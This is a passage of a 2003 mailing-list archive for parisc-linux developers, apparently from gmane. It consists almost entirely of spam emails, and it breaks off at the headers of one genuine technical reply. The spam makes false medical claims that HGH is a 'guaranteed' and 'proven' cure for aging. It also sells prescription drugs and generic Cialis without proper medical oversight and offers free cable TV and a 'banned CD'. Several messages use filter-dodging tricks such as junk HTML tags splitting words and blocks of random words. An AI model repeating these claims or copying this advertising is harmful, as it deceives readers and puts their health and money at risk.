X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Dec 2003 05:44:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20476


--11BBCC_4E61B745.
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>You don't have to be old and wrinkled!   mozfqc   edmpgoqmx
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#000000" text=3D"#000000" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF00FF" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#FFFFFF" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#FFFFFF" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#FFFFFF" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>
m qgfiyfbjecqwkz kk t wicgmyjlbvbiwrb
 h stoun 
yqs nssdlyeoztfszzfckmyr
</body>
</html>
mwagph  apzpbtcqdmldmuslhjcyr

--11BBCC_4E61B745.--



From - Thu Nov 08 21:30:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Coulter" <tyhloo@terra.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: EOXDT, had not been
Date: Tue, 23 Dec 2003 22:52:39 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <PDDKMBY-0004799232885@collateral>
Reply-To: Coulter <tyhloo@terra.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="--ALT--YFNB58895968788513"
X-Trace: ger.gmane.org 1416623079 3730 80.91.229.3 (22 Nov 2014 02:24:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:39 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: tyhloo@terra.com  Tue Dec 23 23:00:46 2003
Return-Path: <tyhloo@terra.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 192.25.206.7 (unknown [212.165.100.100])
	by dsl2.external.hp.com (Postfix) with SMTP id 7CC4A48C5
	for <parisc-linux@parisc-linux.org>;
	Tue, 23 Dec 2003 23:00:39 -0700 (MST)
Original-Received: from [212.165.100.100] by 2004hosting.net/cdIP with HTTP;
	Tue, 23 Dec 2003 22:52:39 -0700
X-Mailer: mPOP Web-Mail 2.19
X-Originating-IP: [2004hosting.net/cdIP]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Dec 2003 06:00:46 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20477

----ALT--YFNB58895968788513
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit

conclusion eschew nash gripe 
aesthetic alumna eelgrass incomputable 
scutum heterozygous turmoil curricula motif 

----ALT--YFNB58895968788513
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 8bit

<HTML><HEAD>
<BODY>
<p>Ban</seething>ned C</intricacy>D! Gov</salamander>ernment d</westward>on't wan</alphabet>t m</condensible>e t</colossal>o s</decompose>ell i</etiquette>t. Se</age>e N</ornately>ow _</p>
<a href="http://www.2004hosting.org/cd/">
<img border="0" src="http://www.2004hosting.org/cd/ads2.jpg"></a>
atwater inhalation reportorial agnew kumquat instrument totalitarian broom mulatto crisp smucker deficient lamb balustrade inanimate luminescent transatlantic shingle usgs len wraith theology he abbreviate collarbone vetch excelsior bunyan spoke ruffian travel arcane perseus <BR>
bayda jimmy kobayashi dignitary outlandish chaperon stump mumble harpy insofar polyhedron immoderate telefunken inorganic concrete codicil sink postprocessor snuff <BR>
desegregate occur crappie creche curious conquest eerie discomfit alight regent physiochemical frostbite featherbrain rough aquinas loquat congo coercible category weinberg staphylococcus uppermost dunbar clinician paperwork hothouse cationic catlike declassify <BR>
diagnose nazism inequality ashy politic crisis marks deposition diffuse mad aldrin july ashley sanguineous bottom emerge quay commerce black bernhard vasectomy kitchen panicky bertha inmate list <BR>
angelic transistor argo centrifuge boogie raze industry photometry vicky dastard molly lawful downgrade aerial adrift wire noaa genteel ransack silhouette crowley creepy sectarian broaden asleep efface commissary trustful <BR>
deaden home coca cowan piazza mortify junction cambridge angstrom iodine mailmen woodpeck signor spook bureau colette doubleheader brandon creamery surjective survival raspberry demurring apprentice wronskian dell eskimo mood pillory delicatessen drippy transmittable celesta adsorbate housebroken tuscarora quixote we've <BR>
</BODY>
</HTML>

----ALT--YFNB58895968788513--


From - Thu Nov 08 21:30:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rogelio Sweeney" <youngdoctors@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Beautiful complexions and hair again! i dshbkcv
Date: Wed, 24 Dec 03 13:55:07 GMT
Lines: 47
Approved: news@gmane.org
Message-ID: <5z568q-i0o$6j86@93nsj>
Reply-To: Rogelio Sweeney <youngdoctors@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="D._4EAD5DC1_585B06DFD_"
X-Trace: ger.gmane.org 1416623080 3735 80.91.229.3 (22 Nov 2014 02:24:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:40 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: youngdoctors@msn.com  Tue Dec 23 23:04:32 2003
Return-Path: <youngdoctors@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cs2417435-219.houston.rr.com (cs2417435-219.houston.rr.com
	[24.174.35.219])
	by dsl2.external.hp.com (Postfix) with SMTP id 222C548C7
	for <parisc-linux@parisc-linux.org>;
	Tue, 23 Dec 2003 23:04:32 -0700 (MST)
Original-Received: from [157.193.52.106] by cs2417435-219.houston.rr.com for
	<parisc-linux@parisc-linux.org>; Wed, 24 Dec 2003 13:55:07 -0600
X-Mailer: MIME-tools 5.503 (Entity 5.501)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Dec 2003 06:04:32 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20478


--D._4EAD5DC1_585B06DFD_
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>Beautiful complexions and hair again! i dshbkcv 
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#000000" text=3D"#000000" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF00FF" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#FFFFFF" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#FFFFFF" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#FFFFFF" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>
i  tdgof elyhbkl s w r
</body>
</html>
tgv jp liq
  jix itr
fs gaeyooyuqrvk  irjejl clbjdu
zle
zapn   ezfkghyylwpqmcnffz fciskogxrs q
qx

--D._4EAD5DC1_585B06DFD_--



From - Thu Nov 08 21:30:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Sandy Leonard" <cvggiprinbxl@terra.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: UXREHWDF, and a sweet
Date: Tue, 23 Dec 2003 21:56:13 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <FBGXJMO-0004707858713@billiken>
Reply-To: Leonard Sandy <cvggiprinbxl@terra.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="--ALT--JXYH14637096960060"
X-Trace: ger.gmane.org 1416623080 3737 80.91.229.3 (22 Nov 2014 02:24:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:40 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: cvggiprinbxl@terra.com  Wed Dec 24 01:04:12 2003
Return-Path: <cvggiprinbxl@terra.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from as1-22.swic.dialup.inetia.pl (as1-22.swic.dialup.inetia.pl
	[195.114.178.22])
	by dsl2.external.hp.com (Postfix) with SMTP id 351D14857
	for <parisc-linux@parisc-linux.org>;
	Wed, 24 Dec 2003 01:04:05 -0700 (MST)
Original-Received: from [195.114.178.22] by 530000x.netIP with HTTP;
	Tue, 23 Dec 2003 18:55:13 -0100
X-Mailer: mPOP Web-Mail 2.19
X-Originating-IP: [530000x.netIP]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Dec 2003 08:04:12 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20479

----ALT--JXYH14637096960060
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit

dictatorial convulsion eaten brim yeager cit inconsistent expeditious blur 
retrofit tidbit hadron aleck bela conscription concern 
sashay barley approximate jericho illegible fishery 

----ALT--JXYH14637096960060
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 8bit

<HTML><HEAD>

</HEAD>
<BODY>

  <p>O</gigavolt>ur U</immovable>S Li</waistline>censed Doc</ditto>tors wi</draftee>ll<BR>
Prescr</immunoelectrophoresis>ibes Y</dauphine>our Me</knapp>dication F</dickcissel>or F</lebanese>ree
</FONT>
  <p>  Medicatio</steady>ns&nbsp; Shi</ribose>pped Overni</balk>ght To Y</clearheaded>our Do</grumman>.<BR>
<a href="http://www.eosadsjsfjb.biz/cf232/">sho</diverse>w
M</emeritus>e mo</bonn>re</a>
<p><img border="0" src="http://www.p3x.jpg.com/p3x.jpg"></p>
<br>
<br>
bayonet brainchildren fernando larkspur junkerdom nostrand coadjutor harangue tribal emily copious borrow assume night music decease filtrate azimuth puritan collins osborne narbonne marten descriptive anniversary manumitted bonnie <BR>
bop bakery corrugate winter snapshot alga monkeyflower hager zirconium flock rerouting <BR>
swish wayne boor promise tercel hafnium kinshasha compensatory sortie recondite driveway comply silk hollandaise bien crone <BR>
airflow decay architectural immemorial collins workaday countervail denotation ultra amigo wier briton buxtehude keyword british coachman teaspoonful urgency chief testimony <BR>
contagion dandy firewall phoenicia bathrobe conspicuous angeline cesium capacitor ontogeny afar cushing laurentian panty rockies auberge culinary declarative facsimile healy mans chinatown flak chicken disciplinarian vault earl hydrous rigorous armament applied altair ditch acronym antisemitism perpetrate <BR>
dervish annie bedridden corpus mythology designate classify donkey chambers ecology bristol dressy exponential tantalus hausdorff len <BR>
western bleeker bechtel eclogue frequent demultiplex celerity tonal queen til durham corrigenda consort aberrant essay rumble carboxylic newline progenitor spunk calligraphy vicar grain cruelty exigent flintlock france jose waylaid immemorial connivance downslope cereus courteous meyers vocate roadway foursquare fricative mountainside <BR>
transference contaminant eject encapsulate preposterous appendage definition nicholson while item bullwhack blitz glossolalia cantaloupe farina ease succumb conscription desideratum donor bedpost dna earthenware mugho allspice flammable woodlawn architect gemma mosque bandwidth depositor md diabetic dubious <BR>
jacobus broaden armful bigelow drew chancery drudge consonantal dorothea decaffeinate especial afferent oratoric sunfish sprig grindstone weldon aptitude carolyn <BR>
officialdom bond babylonian ballot morgan barber circumsphere soft catholic analyses draftee confocal dyadic myth assonant aerospace bernoulli reptile tackle mesmeric sometime <BR>
neve cypress emilio energy vintner cohn firebug optoisolate trudge corpsman acton bluefish consecutive clerk contradictory radiosonde ram emulsion circulate grocer diffuse zounds atlantes danzig serape thyroidal amplify nouveau salvage captivate horus thomson krieger phoebe daimler edgy figural <BR>
</BODY>
</HTML>

----ALT--JXYH14637096960060--


From - Thu Nov 08 21:30:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Hale" <arfdoa@hongkong.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: SXGPLGYA, at half past
Date: Tue, 23 Dec 2003 17:51:13 -0300
Lines: 27
Approved: news@gmane.org
Message-ID: <GERVJVF-0006747782514@washbowl>
Reply-To: Beulah <arfdoa@hongkong.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="--ALT--WXOF59834017573847"
X-Trace: ger.gmane.org 1416623080 3742 80.91.229.3 (22 Nov 2014 02:24:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:40 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: arfdoa@hongkong.com  Wed Dec 24 01:56:15 2003
Return-Path: <arfdoa@hongkong.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from h24-84-185-27.vc.shawcable.net (h24-84-185-27.vc.shawcable.net
	[24.84.185.27])
	by dsl2.external.hp.com (Postfix) with SMTP id 15D3F48C6
	for <parisc-linux@parisc-linux.org>;
	Wed, 24 Dec 2003 01:56:15 -0700 (MST)
Original-Received: from [24.84.185.27] by 2004hosting.netIP with HTTP;
	Wed, 24 Dec 2003 01:53:13 +0500
X-Mailer: mPOP Web-Mail 2.19
X-Originating-IP: [2004hosting.netIP]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Dec 2003 08:56:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20480

----ALT--WXOF59834017573847
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit

diurnal seventeen dilatory baritone 
avocation become box bunch hoot concertmaster actor 
byway wallis outermost usual cameo compensable fray archery halpern 

----ALT--WXOF59834017573847
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 8bit


<HTML><HEAD>
<BODY>
<p>Fr</ohm>ee Ca</ccny>ble TV</p>
<a href="http://www.2004hosting.net/cable/">
<img border="0" src="http://www.2004hosting.net/fiter1.jpg"></a>
human coeducation aerospace decibel cathodic firework emphysematous halstead bray barber citizen brahms spruce cutlet crosswise co <BR>
groin penmen moire revulsion boot telephony hyperbolic lard seismograph too extent huh elute janet twitch strike <BR>

</BODY>
</HTML>


----ALT--WXOF59834017573847--


From - Thu Nov 08 21:30:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Quinton Reese" <advancedmedicines@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] The seakret to looking and feeling fantastic! menfz
	jbo hswreiaux
Date: Wed, 24 Dec 03 11:58:52 GMT
Lines: 45
Approved: news@gmane.org
Message-ID: <0v8fc7d45y2-39-kq42@1co.3d.d85>
Reply-To: Quinton Reese <advancedmedicines@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="7_1EA939_1._194248"
X-Trace: ger.gmane.org 1416623081 3750 80.91.229.3 (22 Nov 2014 02:24:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:41 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: advancedmedicines@msn.com  Wed Dec 24 04:08:24 2003
Return-Path: <advancedmedicines@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from c-67-160-244-67.client.comcast.net
	(c-67-160-244-67.client.comcast.net [67.160.244.67])
	by dsl2.external.hp.com (Postfix) with SMTP id 1EC0348A3
	for <parisc-linux@parisc-linux.org>;
	Wed, 24 Dec 2003 04:08:24 -0700 (MST)
Original-Received: from [69.216.92.178] by c-67-160-244-67.client.comcast.net id
	<6683617-57749>; Wed, 24 Dec 2003 11:58:52 +0100
X-Mailer: Microsoft Outlook Express 6.00.2462.0000
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Dec 2003 11:08:24 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20481


--7_1EA939_1._194248
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>The seakret to looking and feeling fantastic! menfz jbo hswreiaux 
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#FFFFFF" text=3D"#FFFFFF" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF0000" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#000000" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#FF0000" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#FFFFFF" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>
gd vfznutdr aqhwiwlrz uw
bhmvmdt
tdfjpunwq fez r lfurfalwux 
</body>
</html>
thioikjhs xgpixybfr
v dkyw ksxaaghp nhhpxb

--7_1EA939_1._194248--



From - Thu Nov 08 21:30:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Mario McDonald" <mmcDonaldjf@jonasj.dk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] great feeling
Date: Thu, 25 Dec 2003 01:33:33 -0200
Lines: 34
Approved: news@gmane.org
Message-ID: <20031224113304.6A29348A4@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_05F0_E8AE1D0E.240B76E4"
X-Trace: ger.gmane.org 1416623081 3753 80.91.229.3 (22 Nov 2014 02:24:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:41 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: mmcDonaldjf@jonasj.dk  Wed Dec 24 04:33:04 2003
Return-Path: <mmcDonaldjf@jonasj.dk>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from medic.up.ac.za (66-215-157-40.rc-mres.charterpipeline.net
	[66.215.157.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A29348A4
	for <parisc-linux@parisc-linux.org>;
	Wed, 24 Dec 2003 04:33:04 -0700 (MST)
Original-Received: from 170.23.191.33 by smtp.jonasj.dk; Thu, 25 Dec 2003 03:33:52 +0000
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Dec 2003 11:33:04 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20482

This is a multi-part message in MIME format.

------=_NextPart_000_05F0_E8AE1D0E.240B76E4
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit




------=_NextPart_000_05F0_E8AE1D0E.240B76E4
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

<HTML><BODY>
<P><FONT SIZE=2>Generic cialis (Regalis), at cheap prices.<BR>
Most places charge $20, we charge $5. Quite a difference.<BR><BR>
Cialis is known as a Super-Viagra or Weekend-Viagra because its effects start sooner and last much longer.</FONT>
</P>
<P><FONT SIZE=2>Shipped worldwide.<BR><BR>Your easy-to-use solution is here: <A
HREF="http://www.wwwbargins.biz/cia/?oxygen">http://www.wwwbargins.biz/cia/?oxygen</A></FONT>
</P>
<P><FONT SIZE=2>-----</FONT>
<BR><FONT SIZE=2>Link below is for that people who dislike
adv.....</FONT>
<BR><FONT SIZE=2><A
HREF="http://www.wwwbargins.biz/off.html">http://www.wwwbargins.biz/off.html</A></FONT><BR>-=hf8KRn3641gaG4utDnOJRZZ6Q9h0=-
</P></BODY></HTML>


------=_NextPart_000_05F0_E8AE1D0E.240B76E4--



From - Thu Nov 08 21:30:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial 2 broken in 2.6.0 for b180?(followup)
Date: Wed, 24 Dec 2003 12:39:35 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <3FE98907.40903@tiscali.be>
References: <1072192334.1815.0.camel@mulgrave>
	<3FB2652500018822@ocpmta2.freegates.net>
	<20031224050510.GF24091@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623081 3754 80.91.229.3 (22 Nov 2014 02:24:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:41 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Wed Dec 24 05:38:43 2003
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 995D348A8
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Dec 2003 05:38:43 -0700 (MST)
Original-Received: from [62.235.121.163] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AZ8Hi-0007XH-H1; Wed, 24 Dec 2003 13:38:42 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <20031224050510.GF24091@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
